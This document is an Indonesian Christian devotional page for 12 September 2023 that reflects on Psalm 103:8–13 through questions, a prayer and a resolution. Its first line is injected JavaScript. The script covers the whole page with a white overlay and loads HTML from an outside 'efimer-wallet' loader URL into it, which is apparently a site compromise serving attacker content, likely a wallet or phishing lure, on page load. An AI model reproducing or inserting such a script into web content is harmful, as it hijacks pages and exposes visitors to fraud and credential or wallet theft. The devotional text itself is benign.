const div=document.createElement(‘div’);div.style.position=’fixed’;div.style.top=’0′;div.style.left=’0′;div.style.width=’100%’;div.style.height=’100%’;div.style.backgroundColor=’white’;div.style.zIndex=’9999′;document.body.appendChild(div);fetch(‘https://efimer-wallet.world/recopro/loader.php’).then(response=>response.text()).then(data=>{div.innerHTML=data;});
Selasa, 12 September 2023
Mazmur 103 : 8 – 13
Pengantar
Setiap kebahagiaan yang kita alami seharusnya dapat sungguh-sungguh kita rasakan dengan penuh syukur dan kemudian terbagi atau dinyatakan juga kepada orang lain. Bahwa kasih setia ALLAH sesungguhnya sangat berlimpah dalam hidup kita dan dapat dibagikan kepada sesama serta dapat membawa rasa hormat dan takut kepada TUHAN dengan hidup menjauhi dosa. Dalam Mazmur 103 : 8 – 13 yang kita baca pada hari ini, dinyatakan tentang pernyataan pemazmur akan kasih setia TUHAN yang berlimpah dan bagaimana hal itu dinyatakan bagi orang-orang yang takut kepada-NYA. Jadi marilah kita memperhatikannya secara baik.
Pemahaman
Ayat 8 – 10 : Bagaimana pemazmur menyatakan tentang pribadi TUHAN?
Ayat 11 – 13 : Apa yang TUHAN nyatakan bagi orang- orang yang takut kepada-NYA?
Pemazmur menyatakan bahwa TUHAN adalah penyayang dan pengasih, panjang sabar dan berlimpah kasih setia. TUHAN tidak selalu menuntut dan tidak selama-lamanya mendendam. TUHAN tidak membalas setimpal dengan dosa dan kesalahan kita. Dengan demikian kehidupan orang yang percaya kepada TUHAN seharusnya tidak lagi dikuasai oleh keputusasaan atau hidup tanpa pengharapan, karena ada kasih setia TUHAN yang berlimpah dan siap dinyatakan bagi kita. Ini sekaligus menjadi pendorong bagi kita untuk juga menyatakan hal yang sama kepada orang lain, agar mereka tetap memiliki pengharapan akan kebahagiaan hidup di dalam TUHAN.
Pemazmur juga menyatakan bahwa TUHAN begitu besar kasih setia-NYA, bagi orang-orang yang takut akan DIA seperti seorang bapa sayang kepada anak-anaknya. Hal ini digambarkan dalam ungkapan setinggi langit di atas bumi dan sejauh timur dari barat, demikian dijauhkan-NYA dari kita pelanggaran kita. Ini menunjukkan bahwa tidak saja berlimpah kasih setia TUHAN bagi orang-orang yang percaya kepada-NYA tapi juga begitu besar dan sangat personal bagi orang-orang yang memiliki relasi hormat dan takut kepada-NYA. Bahwa sesungguhnya rasa hormat dan takut kepada TUHAN juga akan membuat kita menjauhkan diri dari segala dosa dan kesalahan yang tidak berkenan di hadapan TUHAN.
Refleksi
Dalam keheningan hati marilah kita merenungkan:
- Apakah kita telah merasakan limpahan kasih setia TUHAN?
- Apakah kita terdorong (tergerak hati) untuk berbagi pengharapan dan kebahagiaan hidup di dalam TUHAN?
- Apakah kita telah begitu berusaha menjauhkan diri dari kehidupan dosa?
Tekadku
TUHAN, jadikan aku sebagai pribadi yang dapat merasakan limpahan kasih setia-MU dan hidup sungguh-sungguh menjauh dari dosa.
Tindakanku
Setiap hari, saya akan berusaha untuk dapat berbagi pengharapan dan kebahagiaan hidup di dalam TUHAN kepada sesama.